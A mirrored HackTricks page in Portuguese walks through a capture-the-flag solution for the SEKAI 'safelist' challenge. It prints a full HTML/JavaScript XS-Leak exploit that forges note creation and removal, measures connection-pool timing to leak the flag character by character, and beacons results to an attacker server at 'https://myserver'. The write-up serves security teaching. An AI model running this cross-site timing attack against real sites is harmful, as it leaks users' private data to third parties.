mirror of
https://github.com/carlospolop/hacktricks
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140 lines
5.8 KiB
Markdown
140 lines
5.8 KiB
Markdown
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# Connection Pool by Destination Example
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{% hint style="success" %}
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Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
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* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
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</details>
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{% endhint %}
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Em [**este exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) propõe mais uma solução para o desafio mencionado na página seguinte:
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{% content-ref url="connection-pool-by-destination-example.md" %}
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[connection-pool-by-destination-example.md](connection-pool-by-destination-example.md)
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{% endcontent-ref %}
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Vamos ver como este exploit funciona:
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* O atacante irá injetar uma nota com o maior número possível de **`<img`** tags **carregando** **`/js/purify.js`** (mais de 6 para bloquear a origem).
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* Em seguida, o atacante irá **remover** a **nota** com índice 1.
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* Depois, o atacante irá \[fazer o **bot acessar a página** com a nota restante] e enviará uma **requisição** para **`victim.com/js/purify.js`** que ele irá **cronometrar**. 
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* Se o tempo for **maior**, a **injeção** estava na **nota** deixada, se o tempo for **menor**, a **flag** estava lá.
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{% hint style="info" %}
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Para ser sincero, lendo o script senti falta de alguma parte onde o **atacante faz o bot carregar a página para acionar as tags img**, não vejo nada assim no código.
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{% endhint %}
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```html
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<html>
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<head>
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<script>
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const SITE_URL = 'https://safelist.ctf.sekai.team/';
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const PING_URL = 'https://myserver';
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function timeScript(){
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return new Promise(resolve => {
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var x = document.createElement('script');
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x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
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var start = Date.now();
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x.onerror = () => {
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console.log(`Time: ${Date.now() - start}`); //Time request
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resolve(Date.now() - start);
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x.remove();
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}
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document.body.appendChild(x);
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});
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}
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add_note = async (note) => {
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let x = document.createElement('form')
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x.action = SITE_URL + "create"
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x.method = "POST"
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x.target = "xxx"
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let i = document.createElement("input");
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i.type = "text"
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i.name = "text"
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i.value = note
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x.appendChild(i)
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document.body.appendChild(x)
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x.submit()
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}
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remove_note = async (note_id) => {
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let x = document.createElement('form')
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x.action = SITE_URL+"remove"
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x.method = "POST"
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x.target = "_blank"
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let i = document.createElement("input");
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i.type = "text"
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i.name = "index"
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i.value = note_id
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x.appendChild(i)
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document.body.appendChild(x)
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x.submit()
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}
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const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
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// }zyxwvutsrqponmlkjihgfedcba_
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const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
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var prefix = 'SEKAI{xsleakyay';
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const TIMEOUT = 500;
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async function checkLetter(letter){
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// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
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// Depending whether we found flag's letter it will either load the images or not.
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// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
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const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
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await add_note(payload);
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await sleep(TIMEOUT);
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await timeScript();
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await remove_note(1); //Now, only the note with the flag or with the injection existsh
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await sleep(TIMEOUT);
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const time = await timeScript(); //Find out how much a request to the same origin takes
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navigator.sendBeacon(PING_URL, [letter,time]);
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if(time>100){
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return 1;
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}
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return 0;
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}
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window.onload = async () => {
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navigator.sendBeacon(PING_URL, 'start');
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// doesnt work because we are removing flag after success.
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// while(1){
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for(const letter of alphabet){
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if(await checkLetter(letter)){
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prefix += letter;
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navigator.sendBeacon(PING_URL, prefix);
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break;
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}
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}
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// }
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};
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</script>
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</head>
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<body>
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</body>
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</html>
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```
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{% hint style="success" %}
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Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
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* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
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</details>
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{% endhint %}
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